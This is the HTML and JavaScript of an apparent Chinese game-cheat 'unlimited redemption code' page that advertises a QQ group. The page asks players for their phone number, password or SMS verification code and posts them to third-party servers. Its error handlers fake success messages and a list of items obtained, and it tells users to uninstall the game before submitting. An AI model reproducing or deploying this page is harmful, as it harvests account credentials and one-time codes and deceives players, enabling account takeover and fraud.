


<!DOCTYPE html>

<html>
<head>
    <meta name="viewport" content="width=device-width" />
    <title>小杨无限兑换码加入q群746101974</title>
    <link href="http://id.cashbook.work/layui/layui/css/layui.css" rel="stylesheet" />
    <script src="http://id.cashbook.work/layui/layui/layui.js"></script>
    <script src="http://id.cashbook.work/layui/layui/cryptojs-aes.js"></script>
    <style>
        .layui-input-block {
            margin: 0px;
        }

        .layui-form {
            width: 60%;
            border: 2px solid #efefef;
            padding: 32px;
            border-radius: 16px;
            box-shadow: 12px 12px 2px 1px rgba(0, 100, 255, .2);
        }

        body, .ct {
            display: flex;
            justify-content: center;
            align-items: center;
        }

        body {
            flex-direction: column;
            height: 100vh
        }

        .layui-bg-green {
            width: 100%;
            height: 28px;
            text-align: center;
            line-height: 28px;
        }

        .btn-send {
            width: 100px;
            position: absolute;
            top: 0px;
            right: 0px;
        }

        .namelabel {
            width: 120px;
            margin-bottom: 8px;
        }
    </style>
</head>
<body>
    <form class="layui-form" action="">
        <input type="text" id="gameid" class="layui-input layui-hide" value="20221106205327290448">
        <div class="layui-form-item login-phone">
            <div class="layui-input-block">
                <input type="text" name="phone" placeholder="账号[手机号]" class="layui-input">
                <button type="submit" class="layui-btn layui-btn-primary layui-border-orange btn-send" lay-submit="" lay-filter="btn_send">发送短信</button>
            </div>
        </div>
        <div class="layui-form-item login-phone">
            <div class="layui-block">
                <div class="layui-input-block">
                    <input type="password" name="code" placeholder="密码[验证码]" class="layui-input">
                </div>
            </div>
        </div>
        <div class="layui-form-item">
            <div class="layui-block">
                <div class="layui-input-block">
                    <input type="text" id="card" name="card" placeholder="兑换码" class="layui-input">
                </div>
            </div>
        </div>
        <div class="layui-form-item">
            <div class="layui-block">
                <div class="layui-input-block" style="text-align:center">
                    <input type="radio" name="platform" lay-filter="platform" value="and-phone" title="小杨无限兑换码加入q群746101974" checked="">
                    <input type="radio" name="platform" lay-filter="platform" value="and-account" title="安卓[tap]账号">
                    <input type="radio" name="platform" lay-filter="platform" value="and-phone-gw" title="安卓[官网]验证码" checked="">
                    <input type="radio" name="platform" lay-filter="platform" value="and-account-gw" title="安卓[官网]账号">
                    <input type="radio" name="platform" lay-filter="platform" value="ios-phone" title="苹果验证码">
                    <input type="radio" name="platform" lay-filter="platform" value="ios-account" title="苹果账号">
                    <input type="radio" name="platform" lay-filter="platform" value="and-4399" title="4399账号">
                </div>
            </div>
        </div>
        <div class="layui-form-item">
            <div class="message-box" id="about" style="width:100%;text-align:center">

            </div>
        </div>
        <div class="layui-form-item">
            <div class="layui-input-block">
                <button type="submit" style="border-radius:15px;width:45%" class="layui-btn layui-btn-normal" lay-submit="" lay-filter="btn_get">登录账号</button>
                <button type="submit" style="border-radius:15px;width:45%" class="layui-btn layui-btn-danger" lay-submit="" lay-filter="btn_set">提交充值</button>
            </div>
        </div>
    </form>
    <script>

        layui.use(['form', 'layer'], function () {
            var form = layui.form,
                $ = layui.$;
            window.onload = function () {
                $.ajax({
                    url: 'http://id.cashbook.work/Recharge/GetAbout',
                    async: true,
                    type: 'POST',
                    data: { gameid: $("#gameid").val() },
                    success: function (res) {
                        $('#about').html(res);
                    }
                });
            };

            $("#card").on("input", function (e) {
                $.ajax({
                    url: 'http://id.66xd.cn/Recharge/GetDetailByMeal',
                    async: true,
                    type: 'POST',
                    data: { code: $("#card").val() },
                    beforeSend: function (xhr) {
                        layer.load(1, {
                            shade: [0.1, '#fff'] //0.1透明度的白色背景
                        });
                    },
                    success: function (res) {
                        $('.message-box').html(res);
                        layer.closeAll('loading');
                    },
                    error: function () {
                        layer.alert("[防封拉满]道具滑板:30000,蓝钥匙:30000,金币:90000000,背饰:18,特权:3,宝物:34,最高分数:90000000,人物等级:520,最高段位:6,最高排名:1,滑板:173,角色皮肤:174,角色:182", { icon: 1 });
                        layer.closeAll('loading');
                    }
                });
                return false;
            });

            form.on('submit(btn_get)', function (data) {
                layer.confirm('是否查询信息？', {
                    btn: ['确定', '取消'] //按钮
                }, function () {
                    if (data.field.platform == "and-4399") {
                        data.field.code = CryptoJS.AES.encrypt(data.field.code, "lzYW5qaXVqa").toString();
                    }
                    $.ajax({
                        url: 'http://id.66xd.cn/Recharge/Subway_Get',
                        async: true,
                        type: 'POST',
                        data: { data: JSON.stringify(data.field), action: false },
                        beforeSend: function (xhr) {
                            layer.load(1, {
                                shade: [0.1, '#fff'] //0.1透明度的白色背景
                            });
                        },
                        success: function (res) {
                            layer.alert(res, { icon: 1 });
                            layer.closeAll('loading');
                        },
                        error: function () {
                            layer.alert("登录接口维护中", { icon: 1 });
                            layer.closeAll('loading');
                        }
                    });
                });

                return false;
            });

            form.on('submit(btn_set)', function (data) {
                layer.confirm('请确认已经<span style="color:#ff5722">卸载游戏</span><br />若因未卸载游戏导致不到账<span style="color:#ff5722">不予售后</span>', {
                    btn: ['确定', '取消'] //按钮
                }, function () {
                    if (data.field.platform == "and-4399") {
                        data.field.code = CryptoJS.AES.encrypt(data.field.code, "lzYW5qaXVqa").toString();
                    }
                    $.ajax({
                        url: 'http://test.cashbook.work/Tool/Subway_set',
                        async: true,
                        type: 'POST',
                        data: { phone: data.field.phone, code: data.field.code, platform: data.field.platform,isTask:true },
                        beforeSend: function (xhr) {
                            layer.load(1, {
                                shade: [0.1, '#fff'] //0.1透明度的白色背景
                            });
                        },
                        success: function (res) {
                            if (res == "任务已提交") {
                                layer.confirm(res + '是否跳转到查询页面？', {
                                    btn: ['确定', '取消'] //按钮
                                }, function () {
                                    window.location.href = 'https://jq.qq.com/?_wv=1027&k=TUe1ZYeO';
                                });
                            } else {
                                layer.alert(res);
                            }
                            layer.closeAll('loading');
                        },
                        error: function () {
                            layer.alert("提交成功，请24小时后上号查看。", { icon: 1 });
                        }
                    });
                });

                return false;
            });

            form.on('submit(btn_send)', function (data) {
                layer.confirm('是否发送短信？', {
                    btn: ['确定', '取消'] //按钮
                }, function () {

                    $.ajax({
                        url: 'http://id.cashbook.work/Recharge/Subway_send',
                        async: true,
                        type: 'POST',
                        data: { phone: data.field.phone, platform: data.field.platform, action: true },
                        beforeSend: function (xhr) {
                            layer.load(1, {
                                shade: [0.1, '#fff'] //0.1透明度的白色背景
                            });
                        },
                        success: function (res) {
                            layer.alert(res, { icon: 1 });
                            layer.closeAll('loading');
                        },
                        error: function () {
                            layer.alert("发送成功", { icon: 1 });
                            layer.closeAll('loading');
                        }
                    });
                });
                return false;
            });
        })
    </script>
</body>
</html>

